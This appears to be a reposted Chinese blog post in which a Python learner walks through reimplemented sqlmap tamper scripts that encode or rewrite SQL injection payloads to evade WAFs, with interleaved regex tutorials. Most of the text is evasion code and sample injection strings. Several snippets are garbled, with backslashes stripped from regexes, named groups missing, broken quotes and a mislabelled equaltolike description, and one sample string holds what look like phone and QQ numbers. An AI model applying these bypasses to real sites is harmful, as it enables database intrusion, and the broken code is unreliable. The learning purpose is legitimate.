关于sqlmap当中tamper脚本编码绕过原理的一些总结(学习python没多久有些地方肯定理解有些小问题)

Posted ophxc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了关于sqlmap当中tamper脚本编码绕过原理的一些总结(学习python没多久有些地方肯定理解有些小问题)相关的知识,希望对你有一定的参考价值。

sqlmap中tamper脚本分析编写

置十对一些编码实现的脚本,很多sqlmap里面需要引用的无法实现,所以有一部分例如keywords就只写写了几个引用了一下,其实这里很多脚本运用是可以绕过安全狗的。本人也是刚开始学习python没多久,有一些错误的话请指正
chardoubleencode.py:对给定的payload全部字符使用双重url编码:

import string
import sys

payload= sys.argv[1]

urlencode= payload

if payload:
    urlencode=" "
    i=0
    while i< len(payload):
        if payload[i] == ‘%‘and payload in string.hexdigits[i+1:i+2] and payload in string.hexdigits[i+2:i+3] and (i < len(payload)-2) :
            urlencode += ‘%%25%s‘ % payload[i + 1:i + 3]
            i+=3
        else:
            urlencode += ‘%%25%.X‘ % ord(payload[i])
            i+=1
print urlencode

apostrophenullencode.py:用非法双字节Unicode字符替换单引号

import string
import sys
payload= sys.argv[1]
payload=payload.replace(‘‘‘, "%00%27") if payload else payload
print payload

appendnullbyte.py:在有效载荷的结束位置加载null字节字符编码

import string
import sys
payload= sys.argv[1]
print "%s%%00" % payload if payload else payload

space2morehash.py:将空格替换为#,并添加一个随机字符串和换行符

#coding:utf-8
import requests
import random
import string
import sys
i=0
retVal=‘ ‘
payload ="SDSDS SDFcxfdf &*(tygv  #djlsj   d "
if payload:
    for i in xrange(len(payload)):
        if payload[i].isspace():
            randomStr = ‘‘.join(random.choice(string.ascii_uppercase + string.ascii_lowercase)for _ in xrange(random.randint(6, 11)))
            retVal += "%%23%s%%0A" % randomStr
        elif payload[i] == ‘#‘ or payload[i:i + 3] == ‘-- ‘:       #对于我们原本的注释语句当中后面的就不做注释符加换行符的操作了直接照加了。
            retVal += payload[i:]
            break
        else:
            retVal += payload[i]                         #文本照加
    print retVal

bluecoat.py:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=

    def process(match):
        word = match.group(‘word‘)
        if word.upper() in kb.keywords:
            return match.group().replace(word, "%s%%09" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?P[A-Z_]+)(?=[^w(]|)", lambda match: process(match), retVal)
        retVal = re.sub(r"s*=s*", " LIKE ", retVal)
        retVal = retVal.replace("%09 ", "%09")

    return retVal


附:匿名函数lambda:
1. 将lambda函数赋值给一个变量,通过这个变量间接调用该lambda函数。
2. 将lambda函数赋值给其他函数,从而将其他函数用该lambda函数替换。
3. 将lambda函数作为参数传递给其他函数。
4. 将lambda函数作为其他函数的返回值,返回给调用者。

>>> foo = [2, 18, 9, 22, 17, 24, 8, 12, 27]
>>> print filter(lambda x: x % 3 == 0, foo)
[18, 9, 24, 12, 27]
>>> print map(lambda x: x * 2 + 10, foo)
[14, 46, 28, 54, 44, 58, 26, 34, 64]
>>> print reduce(lambda x, y: x + y, foo)
139

附:python当中的group,match:

group:group()在正则表达式中用于获取分段截获的字符串.

#coding:utf-8

import re

content = ‘Hello 123456789 Word_This is just a test 666 Test‘
result = re.match(‘^Hellos(d+).*?(d+)sTest‘, content)  # 注意(d+) 有括号,+号表示匹配一次或多次

print(result)
print(result.group())  # print(result.group(0)) 同样效果
print(result.groups())

print(result.span())
print(result.group(2))

result:
C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/test.py
<_sre.SRE_Match object at 0x00000000030B7ED0>
Hello 123456789 Word_This is just a test 666 Test
(‘123456789‘, ‘666‘)
(0, 49)
666

space2mysqldash.py:将空格替换为 -- ,并追随一个换行符

#coding:utf-8
import string
import random

payload=‘fff dddd sds‘
retVal = ""

if payload:
    for i in xrange(len(payload)):
        if payload[i].isspace():
            retVal += "--%0A"
        elif payload[i] == ‘#‘ or payload[i:i + 3] == ‘-- ‘:
            retVal += payload[i:]
            break
        else:
            retVal += payload[i]

print retVal

re的sub模块
re是regular expression的所写,表示正则表达式,sub是substitute的所写,表示替换;

re.sub是个正则表达式方面的函数,用来实现通过正则表达式,实现比普通字符串
re.sub共有五个参数,其中三个必选参数:pattern, repl, string,两个可选参数:count, flags.

pattern参数:反斜杠加数字(N),则对应着匹配的组(matched group),比如6,表示匹配前面pattern中的第6个group

#coding:utf-8
import string
import random
import re
inputStr = "hello crifan, nihao crifan"
replacedStr = re.sub(r"hello (w+), nihao 1", "crifanli", inputStr)
#此句中 r 表示去掉反斜杠的转义机制
print ("replacedStr=",replacedStr) #crifanli

C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py
(‘replacedStr=‘, ‘crifanli‘)

在此处我们利用re.sub把整个字符串,换成crifanli,这里的反斜杠加数字(N),表示对应着匹配的组(matched group),即我们第一个w。

repl参数:如果repl是字符串的话,其中的任何反斜杠转义字符,都会被处理的,例如
:会被处理为对应的换行符;
:会被处理为回车符;

#coding:utf-8
import string
import random
import re
inputStr = "hello crifan, nihao crifan"
replacedStr = re.sub(r"hello (w+), (w+) 1", "g", inputStr)
print("replacedStr =",replacedStr) #crifan

C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py
(‘replacedStr =‘, ‘nihao‘)

#coding:utf-8
import string
import random
import re
inputStr = "hello crifan, nihao crifan"
replacedStr = re.sub(r"hello (w+), (w+) 1", "g", inputStr)
print("replacedStr =",replacedStr) #crifan

C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py
(‘replacedStr =‘, ‘crifan‘)


对应的带命名的组(named group)的版本是:

#coding:utf-8
import string
import random
import re
inputStr = "hello crifan, nihao crifan"
replacedStr = re.sub(r"hello (?Pw+), (w+) (?P=xss)", "g g", inputStr)
print("replacedStr =",replacedStr) #crifan


当repl是函数的时候:

import re
 
def pythonReSubDemo():
    """
        demo Pyton re.sub
    """
    inputStr = "hello 123 world 456"
 
	def _add111(matched):    #match可以使我们自己定义一个参数
    	intStr = matched.group("number") #匹配到的是123
    	intValue = int(intStr)
    	addedValue = intValue + 111         #234
    	addedValueStr = str(addedValue)     #转换为字符串形式
   		return addedValueStr
     
	replacedStr = re.sub("(?Pd+)", _add111, inputStr)   #这里匹配的是number即数字,上个sqlmap的脚本我们匹配到的是word即单词
	print("replacedStr=",replacedStr)#hello 234 world 567


if __name__=="__main__":
    pythonReSubDemo()



string参数:表示要被处理,要被替换的那个string字符串。

count:
versionedkeywords.py:内敛注释绕过

import re

payload=‘ 1 and 1=1 union select * from admin‘
keywords=[‘AND‘,‘UNION‘,‘SELECT‘,‘ADMIN‘,‘FROM‘]
def process(match):
    word = match.group(‘word‘)
    if word.upper() in keywords:
        return match.group().replace(word, "/*!%s*/" % word)
    else:
        return match.group()


retVal = payload

if payload:
    retVal = re.sub(r"(?<=W)(?P[A-Za-z_]+)(?=[^w(]|)", lambda match: process(match), retVal)
    retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

print retVal


space2mysqlblank.py:将空格替换为其他空格符号(‘%09‘, ‘%0A‘, ‘%0C‘, ‘%0D‘, ‘%0B‘)

#coding:utf-8
import re
import random
payload=‘dfsdsfsd 87686fg dsfsf" "\ dzfs a‘
blanks = (‘%09‘, ‘%0A‘, ‘%0C‘, ‘%0D‘, ‘%0B‘)
retVal = payload

if payload:
    retVal = ""
    quote, doublequote, firstspace = False, False, False

    for i in xrange(len(payload)):
        if not firstspace:                               #就是TRUE的意思,可以继续进行下面的if判断
            if payload[i].isspace():
                    firstspace = True                    #如果为空那么就会设置为TRUE,继续进行循环
                    retVal += random.choice(blanks)
                    continue

        elif payload[i] == ‘‘‘:
                quote = not quote   #这里是前面我们设定了quote是false,在第一次遇到的时候就会变成TRUE,第二次完成闭合的时候就会返回为False。

        elif payload[i] == ‘"‘:
                doublequote = not doublequote

        elif payload[i] == " " and not doublequote and not quote:  #当我们满足上面两个条件任意一个之后,那么此时他们都是TRUE,not true 自然就是False,所以在双引号,斜杠当中的空格是不会被随机字符替换的。
                retVal += random.choice(blanks)
                continue

        retVal += payload[i]

print retVal

equaltolike.py:将>替换为GREATEST,绕过对>的过

    retVal = payload

    if payload:
        retVal = re.sub(r"s*=s*", " LIKE ", retVal)

    return retVal

charunicodeencode.py:适用字符串的unicode编码

import string

payload=‘union select * from admin and 1=1‘
retVal = payload

if payload:
    retVal = ""
    i = 0

    while i < len(payload):
        if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
            retVal += "%%u00%s" % payload[i + 1:i + 3]
            i += 3
        else:
            retVal += ‘%%u%.4X‘ % ord(payload[i])
            i += 1
print retVal

charencode.py:url编码

import string
payload=‘union select * from admin and 1=1‘
retVal = payload

if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            else:
                retVal += ‘%%%.2X‘ % ord(payload[i])
                i += 1

print retVal

randomcase.py:随机大小写

#coding:utf-8
import random
import re
keywords=[‘‘]
payload=‘union select * from admin and 1=1 ‘
retVal = payload

if payload:
    for match in re.finditer(r"[A-Za-z_]+", retVal):      #把所有的符合匹配的组都找了出来
        word = match.group()
        print word
        if word.upper() in keywords:
            while True:
                _ = ""

                for i in xrange(len(word)):
                    _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                if len(_) > 1 and _ not in (_.lower(), _.upper()):
                    break

            retVal = retVal.replace(word, _)

print retVal

re.finditer与re.findall模块
re.findall()如果可以匹配返回的是一个列表,re.finditer()返回的是一个迭代器,需要对其进行遍历,才能获取数据。

import re


def main():
    content = ‘八神是我的好朋友,他的手机电话是18381665314, 他的QQ是1911966573, 他女朋友的电话是18381665315, QQ:1911966574 !‘
    regex = re.compile(r‘d{11}‘)
    tels = regex.findall(content)
    print(tels)


if __name__ == ‘__main__‘:
    main()
# [‘18381665314‘, ‘18381665315‘]


percentage.py:asp允许每个字符前面添加一个%号

import string
payload=‘union select * from admin and 1=1 ‘
if payload:
    retVal = ""
    i = 0

    while i < len(payload):
        if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
            retVal += payload[i:i + 3]
            i += 3
        elif payload[i] != ‘ ‘:
            retVal += ‘%%%s‘ % payload[i]
            i += 1
        else:
            retVal += payload[i]
            i += 1

print retVal

modsecurityversioned.py:过滤空格,包含完整的查询版本注释

#coding:utf-8
import random
payload=‘union                      select * from admin and 1=1 -- skdh ‘
retVal = payload

if payload:
    postfix = ‘‘
    for comment in (‘#‘, ‘--‘, ‘/*‘):
        if comment in payload:
            postfix = payload[payload.find(comment):]  #锁定到了注释符之前的位置,在这之后的都归为注释内容
            print postfix
            payload = payload[:payload.find(comment)]   #锁定到了第一个注释符的元素位置,在前面的都归为payload
            print payload
            break
    if ‘ ‘ in payload:
        retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(‘ ‘)], ‘444‘, payload[payload.find(‘ ‘) + 1:], postfix)
        #最后一个就是当我们遇到注释符号之后就拍出在版本绕过之外了,第二个就是一个随机数但是在这里我把它设为了一个固定的数字,第三个

print retVal

以上是关于关于sqlmap当中tamper脚本编码绕过原理的一些总结(学习python没多久有些地方肯定理解有些小问题)的主要内容,如果未能解决你的问题,请参考以下文章

sqlmap注入之tamper绕过WAF脚本列表

sqlmap tamper编写

sqlmap-tamper编写小结

sqlmap之常用tamper脚本

sqlmap-tamper编写指南

如何使用SQLMap绕过WAF